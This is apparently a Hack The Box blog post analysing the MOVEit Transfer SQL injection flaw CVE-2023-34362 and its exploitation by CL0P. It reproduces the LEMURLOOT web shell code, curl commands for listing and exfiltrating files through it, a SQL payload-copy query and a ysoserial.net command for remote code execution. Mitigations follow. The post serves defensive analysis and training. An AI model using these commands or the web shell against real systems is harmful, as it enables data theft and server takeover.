Cyber teams

12 min read

Understanding CVE-2023-34362: A critical MOVEit Transfer vulnerability

CVE-2023-34362 is a significant vulnerability that could enable unauthenticated attackers to manipulate a business's database through SQL injection.

Tr33 avatar

Tr33,
Jul 06
2023

In May 2023, the CL0P ransomware group exploited the SQL injection vulnerability CVE-2023-34362, which is the same vulnerability we're discussing, to install a web shell named LEMURLOOT on the MOVEit Transfer web applications.

MOVEit is typically used to manage an organization's file transfer operations. This exploit resulted in data exfiltration that impacted approximately 130 victims over the course of 10 days. 

The breach was limited to the MOVEit platform itself, and the group threatened to publish the stolen files on their data leak site if the ransom was not paid.

The web shell they installed allowed them to retrieve system settings, enumerate the underlying SQL database, store and retrieve files from the MOVEit Transfer system, and create a new administrator privileged account. 

The discovery of this vulnerability and its active exploitation led to its addition to the Known Exploited Vulnerabilities (KEVs) Catalog in June 2023​​.

These incidents show the potential seriousness of SQL injection vulnerabilities. They can lead to data breaches, loss of sensitive information, defacement of websites, and malware infections. 

It's clear why businesses would want to know about such vulnerabilities, understand how they operate, and take steps to prevent them. By doing so, they can protect their systems, data, and reputation from similar attacks.

What is MOVEit Transfer? 

MOVEit is typically used to manage an organization's file transfer operations. Imagine a company uses a system to transfer data, kind of like a mail courier. The system, in this case, is called MOVEit Transfer. 

Now, imagine someone found a way to trick the courier into delivering extra letters, which they shouldn't be delivering. These extra letters could contain commands that open up the company's secret vault (i.e., the database). This is roughly what's happening here. 

A weakness, or vulnerability, has been found in the MOVEit Transfer system that could allow someone who's not supposed to have access to the company's database to get in. They could potentially view, change, or even delete important information. The method they use to trick the courier is called SQL injection.

SQL injections course

sql injection course htb academy

The HTB Academy course on SQL Injection Fundamentals covers everything beginners should know about SQL injection attacks.

 

What is CVE-2023-34362? 

CVE-2023-34362 is a significant vulnerability that could potentially enable an unauthenticated attacker to access and manipulate a business's database through a method known as SQL injection. If left unaddressed, this vulnerability could lead to significant data breaches, loss of sensitive information, and severe disruption of services.

Vulnerability description

The vulnerability arises from an insecure SQL query in the UserEngine.UserGetUsersWithEmailAddress() function (defined in MOVEit.DMZ.ClassLib), which is built by concatenating strings supplied as parameters to the function:

private void UserGetUsersWithEmailAddress(ref ADORecordset MyRS, string EmailAddress, string InstID, bool bJustEndUsers = false, bool bJustFirstEmail = false)

{

    object[] array;

    bool[] array2;

    object value = NewLateBinding.LateGet(null, typeof(string), "Format", array = new object[]

    { Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " ", Interaction.IIf(bJustEndUsers, "AND Permission>=" + Conversions.ToString(10) + " ", "")), "AND "), "("), "Email='{2}' OR "), this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", true, false, true, false)), Interaction.IIf(bJustFirstEmail, "", " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", true, false, true, false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", true, false, true, false))), ") "), "ORDER BY LoginName"),

        InstID,

        this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),

        EmailAddress

    }, null, null, array2 = new bool[]

    {

        default(bool),

        true,

        default(bool),

        true

    });

    if (array2[1])

    {

        InstID = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[1]), typeof(string));

    }

    if (array2[3])

    {

        EmailAddress = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[3]), typeof(string));

    }

    string query = Conversions.ToString(value);

    this.siGlobs.objWrap.DoReadQuery(query, ref MyRS, true, true);

} 

As explained in the HORIZON3 deep dive analysis—where a more in-depth description of the vulnerability can be found—although this function is easily accessible by unauthenticated users via guestaccess.aspx, direct paths are not viable because the parameters are sanitized by calling XHTMLClean() before passing them to the function. 

An alternate route to UserGetUsersWithEmailAddress(), therefore, has to be found.

The SILHttpSessionWrapper.SetAllSessionVarsFromHeaders() function (completely removed in patched MOVEit Transfer versions) allows the caller to set arbitrary session variables from HTTP request headers starting with X-siLock-SessVar.

public bool SetAllSessionVarsFromHeaders(string ServerVars)

        {

            bool result = true;

            string[] array = Strings.Split(ServerVars, "\r\n", -1, CompareMethod.Binary);

            int num = Strings.Len("X-siLock-SessVar");

            int num2 = Information.LBound(array, 1);

            int num3 = Information.UBound(array, 1);

            checked

            {

                for (int i = num2; i <= num3; i++)

                {

                    if (Operators.CompareString(Strings.Left(array[i], num), "X-siLock-SessVar", false) == 0)

                    {

                        int num4 = array[i].IndexOf(':', num);

                        if (num4 >= 0)

                        {

                            int num5 = array[i].IndexOf(':', 1 + num4);

                            if (num5 > 0)

                            {

                                string key = array[i].Substring(2 + num4, num5 - num4 - 2);

                                string val = array[i].Substring(2 + num5);

                                this.SetValue(key, val);

                            }

                        }

                    }

                }

                return result;

            }

        } 

This function is called by the machine2.aspx handler SILMachine2, and access is restricted to requests originating from localhost. However, incorrect header parsing in the function responsible from handling requests that contain the action=m2 parameter in moveitisapi.dll, accessible from outside, allows to forward arbitrary data to machine2.aspx, effectively bypassing the localhost restriction (refer to the HORIZON3 article for additional details).

Once session variables corresponding to the parameters required by UserGetUsersWithEmailAddress() have been set, the LoadFromSession() function from SILGuestAccess is called by making a request to the guestaccess.aspx endpoint.

public void LoadFromSession()

{

  this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode");

  this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode");

  this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID");

  this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr");

  this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID");

  this.IsSelfProvisioned = (Operators.CompareString(this.PkgID, "0", false) == 0);

  this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips");

  this.Viewed = ((-((SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) > false) ? 1 : 0)) ? 1 : 0);

} 

To trigger SQL injection, the payload is first put into the MyPkgSelfProvisionedRecips environment variable through the moveitisapi.dll?action=m2 > SILMachine2 (machine2.aspx) > SetAllSessionVarsFromHeaders() path, then copied to this .SelfProvisionedRecips via guestaccess.aspx.

The SelfProvisionedRecips value is then parsed as a comma-separated list of email addresses and passed to UserGetUsersWithEmailAddress() unsanitized, to be then inserted into the constructed SQL query as the AND Email='...' value, resulting in the execution of arbitrary queries.

The LEMURLOOT web shell

The web shell, which was found to be installed by threat actors on many vulnerable systems (usually with the file name human2.aspx or _human2.aspx, similar to the existing human.aspx endpoint), provides functionality for enumerating and downloading files from a compromised system, leveraging MOVEit internal functions to decrypt data.The full web shell code is available here.

The web shell is installed under the web root directory (usually C:\MOVEitTransfer\wwwroot). When requesting the page, a password must be provided with the X-siLock-Comment request header, otherwise a 404 status code is returned. This password can be set by an attacker to prevent others from accessing the web shell.

 

var pass = Request.Headers["X-siLock-Comment"];

    if (!String.Equals(pass, "...")) {

        Response.StatusCode = 404;

        return;

    }

A second header, named X-siLock-Step1, is used to provide an installation ID (instiD) value.

var instid = Request.Headers["X-siLock-Step1"];

Depending on the instid value, different actions will be taken.

If instid is equal to -1, a series of database queries are performed to retrieve a list of all available folders, files, and installations.

if (int.Parse(instid) == -1) {

            string azureAccout = SystemSettings.AzureBlobStorageAccount;

            string azureBlobKey = SystemSettings.AzureBlobKey;

            string azureBlobContainer = SystemSettings.AzureBlobContainer;

            Response.AppendHeader("AzureBlobStorageAccount", azureAccout);

            Response.AppendHeader("AzureBlobKey", azureBlobKey);

            Response.AppendHeader("AzureBlobContainer", azureBlobContainer);

            var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";

            string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";

            var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);

            if (!set.EOF) {

                while (!set.EOF) {

                    reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);

                    set.MoveNext();

                }

            }

            reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";

            String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";

            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);

            if (!set.EOF) {

                while (!set.EOF) {

                    reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);

                    set.MoveNext();

                }

            }

            reStr += "----------------------------------\nInstID,InstName,ShortName\n";

            query1 = "select id, name, shortname from institutions";

            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);

            if (!set.EOF) {

                while (!set.EOF) {

                    reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);

                    set.MoveNext();

                }

            }

The retrieved data is then sent as a response to the requester in gzipped format.

using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {

                using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {

                    writer.Write(reStr);

                }

            }

        }

Files can be exfiltrated by sending an existing installation ID as the X-siLock-Step1 header, together with the folder ID as X-siLock-Step2 and the file ID as X-siLock-Step3. The file is decrypted and returned in gzipped format.  

  var fileid = Request.Headers["X-siLock-Step3"];

            var folderid = Request.Headers["X-siLock-Step2"];




<SNIP>

                DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);

                SILGlobals siGlobs = new SILGlobals();

                siGlobs.FileSystemFactory.Create();

                EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());

                Response.ContentType = "application/octet-stream";

                Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));

                using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {

                    st.CopyTo(gzipStream);


For example, let’s assume a file named "secretfile" was uploaded under the home directory of the admin user of an organization named HTB. After exploiting the SQL injection vulnerability and uploading the LEMURLOOT shell as human2.aspx, an attacker could obtain a list of available files by running the following command:

curl -k -H "X-siLock-Comment: PASSWORD" -H "x-siLock-Step1: -1" https://<target address>/human2.aspx -o- | gunzi

The output shows the file secretfile (with id 966652864) under the folder /Home/admin (with id 966927815) for the HTB organization (with id 3636).

ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName

966652864,3636,966927815,14,secretfile,admin,/Home/admin,admin

967182420,0,966956396,1652,Log_06152023010115,,/Archive/Logs,Logs

----------------------------------

FolderID,InstID,FolderName,Owner,FolderPath

966789540,0,Home,,/Home

966794435,3636,,,/

966795093,3636,WebPosts,,/WebPosts

<SNIP>

----------------------------------

InstID,InstName,ShortName

0,(System),

3636,HTB,

The file contents can be retrieved with the following command:

curl -k -H "X-siLock-Comment: PASSWORD" -H "x-siLock-Step1: 3636" -H "x-siLock-Step2: 966927815" -H "x-siLock-Step3: 966652864" https://<target address>/human2.aspx -o- | gunzip

Remote command execution

Once administrative access to the application has been obtained via SQL injection, a .NET deserialization vulnerability can be further leveraged to gain remote command execution on the machine. Deserialization is performed in the ResumableUploadFilePartHandler.DeserializeFileUploadStream() function, defined in MOVEit.DMZ.Application.

private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)

        {

            if (this._uploadState.Length == 0)

            {

                return this.CreateFileUploadStream(filePath);

            }

            int num = 1;

            FileHeaderStream additional;

            for (;;)

            {

                try

                {

                    additional = this._fileSystem.OpenWrite(filePath);

                }

                catch (IOException ex)

                {

                    this._globals.objDebug.Log(LogLev.SomeDebug, string.Format("{0}: Error opening file {1} for writing (try {2} of {3}): {4}", new object[]

                    {

                        "ResumableUploadFilePartHandler",

                        filePath,

                        num,

                        10,

                        ex.Message

                    }));

                    if (num == 10)

                    {

                        throw;

                    }

                    Thread.Sleep(1000);

                    num++;

                    continue;

                }

                break;

            }

            BinaryFormatter binaryFormatter = new BinaryFormatter

            {

                Context = new StreamingContext(StreamingContextStates.All, additional)

            };

            FileTransferStream result;

            using (MemoryStream memoryStream = new MemoryStream(this._uploadState))

            {

                result = (FileTransferStream)binaryFormatter.Deserialize(memoryStream);

            }

            return result;

        } 

In this function, a memory stream is constructed from the variable this._uploadState and then deserialized. The ResumableUploadFilePartHandler.GetFileUploadInfo() function, called when a file upload is resumed by passing the uploadType=resumable parameter to the /api/v1/folders/<folder_id>/files endpoint, sets the uploadState member by taking an encrypted State value from the corresponding row in the fileuploadinfo database table.

this._uploadState = Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(sildictionary["State"])); 

By exploiting the SQL injection vulnerability (described above), arbitrary values can be written to the State column. In order to be able to write a .NET deserialization payload to the uploadState, however, it has to be first encrypted with the encryption key associated with the organization. 

This can be accomplished by first setting the payload as the value of the optional Comment parameter when initiating the upload, which will be encrypted by the application before writing it to the database; next, the SQL injection can be leveraged to copy the Comment value to the State column by executing a query such as the following:

UPDATE `fileuploadinfo` SET `State` = `Comment` WHERE `FileID` = <file_id>;"

When resuming the update by setting uploadType=resumable, the GetFileUploadInfo() function will be called, which will set this.uploadState to the decrypted State value, containing the attacker’s payload, which will finally be executed upon deserialization.

To create a valid payload, ysoserial.net can be run with the following options: 

ysoserial.exe --command="<command>" -o base64 -f BinaryFormatter -g TextFormattingRunProperties

One thing to note is that, by default, the moveitsvc user that runs the MOVEit services belongs to the local Administrators group, which makes the RCE vector even more impactful.

A note on CVE-2023-35036 and CVE-2023-35708

Since the release of a patch for CVE-2023-34362, two additional SQL injection vulnerabilities (CVE-2023-35036 and CVE-2023-35708) have been discovered in MOVEit Transfer, both deemed critical by Progress. 

While they may not have as big of an impact as CVE-2023-34362, as their exploitation in the wild doesn’t seem to be as widespread (according to Progress there is no evidence that the latest vulnerability has been exploited), this further highlights the importance of always keeping the application up to date.

Mitigation

Patches are available. In case a patch cannot be applied immediately, the following mitigation measures have been recommended by Progress:

  • Restrict HTTP / HTTPS traffic via firewall rules.

  • Delete unauthorized files and user accounts, including human2.aspx, .cmdline and .dll files. 

  • Remove all active sessions.

  • Review log files. 

  • Reset service account credentials. 

Additional security best practices are detailed in the Progress knowledge base article.

Stay ahead of threats with Hack The Box

HTB Enterprise releases monthly content on emerging threats and vulnerabilities. This gives teams the chance to train on real-world, threat-landscape-connected scenarios in a safe and controlled environment.

Organizations like Toyota, NVISO, and RS2 are already using the platform to stay ahead of threats with hands-on skills and a platform for acquiring, retaining, and developing top cyber talent. Talk to our team to learn more

Author bio: Marshall Livingston (Tr33), Head of Sales Engineering, Hack The Box

Marshall has nearly ten years of experience in various facets of cyber security that are supported by multiple industry-accredited certifications. His areas of interest extend to cyber security training, network security, and penetration testing.

Prior to his association with Hack The Box, he conducted over 150 penetration tests for a diverse clientele while managing his own business based in Illinois and Colorado. 

Marshall's journey with HTB began in 2017 as a community member since its inception. In 2021, he came on board as the first sales engineer and has since then been promoted to direct Head of Sales Engineering. Feel free to connect with him on LinkedIn

Hack The Blog

The latest news and updates, direct from Hack The Box